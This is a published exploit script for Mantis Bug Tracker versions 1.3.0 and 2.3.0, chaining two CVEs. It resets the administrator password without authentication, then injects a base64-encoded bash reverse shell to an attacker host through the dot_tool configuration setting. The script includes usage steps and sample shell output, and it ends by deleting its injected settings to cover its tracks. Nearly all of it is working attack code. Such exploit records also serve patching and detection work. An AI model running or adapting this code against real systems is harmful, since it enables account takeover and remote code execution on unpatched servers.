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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References: 
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890

'''

This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references). 

Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"

Example output:

kali@kali:~/Desktop$ python exploit.py 
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up


kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

'''

import requests
from urllib import quote_plus
from base64 import b64encode
from re import split


class exploit():	
	def __init__(self):
		self.s = requests.Session()
		self.headers = dict() # Initialize the headers dictionary
		self.RHOST = "192.168.116.151" # Victim IP
		self.RPORT = "80" # Victim port
		self.LHOST = "192.168.116.135" # Attacker IP
		self.LPORT = "4444" # Attacker Port
		self.verify_user_id = "1" # User id for the target account
		self.realname = "administrator" # Username to hijack
		self.passwd = "password" # New password after account hijack
		self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL
		self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload

		
	def reset_login(self):
		# Request # 1: Grab the account update token
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
		r = self.s.get(url=url,headers=self.headers)
		if r.status_code == 404:
			print "ERROR: Unable to access password reset page"
			exit()
			
		account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]

		# Request # 2: Reset the account password
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
		data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
		self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
		r = self.s.post(url=url, headers=self.headers, data=data)

		if r.status_code == 200:
			print "Successfully hijacked account!"
		

	def login(self):
		data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'

		r = self.s.post(url=url,headers=self.headers,data=data)
		if "login_page.php" not in r.url:
			print "Successfully logged in!"
		
	
	def CreateConfigOption(self, option, value):
		# Get adm_config_set_token			
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
		r = self.s.get(url=url, headers=self.headers)

		adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
		
		# Create config
		data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
		r = self.s.post(url=url, headers=self.headers, data=data)		
	
		
	def TriggerExploit(self):
		print "Triggering reverse shell"
			
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
		try:
			r = self.s.get(url=url,headers=self.headers, timeout=3)	
		except:
			pass	

	
	def Cleanup(self):
		# Delete the config settings that were created to send the reverse shell	
		print "Cleaning up"

		cleaned_up = False

		cleanup = requests.Session()

		CleanupHeaders = dict()
		CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})

		data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
		r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
		
		ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
		
		for config in ConfigsToCleanup:
			# Get adm_config_delete_token
			url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
			r = cleanup.get(url=url, headers=self.headers)
			test = split('<!-- Repeated Info Rows -->',r.text)	
			
			# First element of the response list is garbage, delete it
			del test[0]		
				
			cleanup_dict = dict()
			for i in range(len(test)):
				if config in test[i]:
					cleanup_dict.update({'config_option':config})
					cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
					cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
					cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})		
			
			
			# Delete the config
			print "Deleting the " + config + " config."
			
			url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
			data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
			r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
			
			#Confirm if actually cleaned up
			r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
			if config in r.text:
				cleaned_up = False
			else:
				cleaned_up = True
			
		if cleaned_up == True:
			print "Successfully cleaned up"
		else:
			print "Unable to clean up configs"
		
			
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()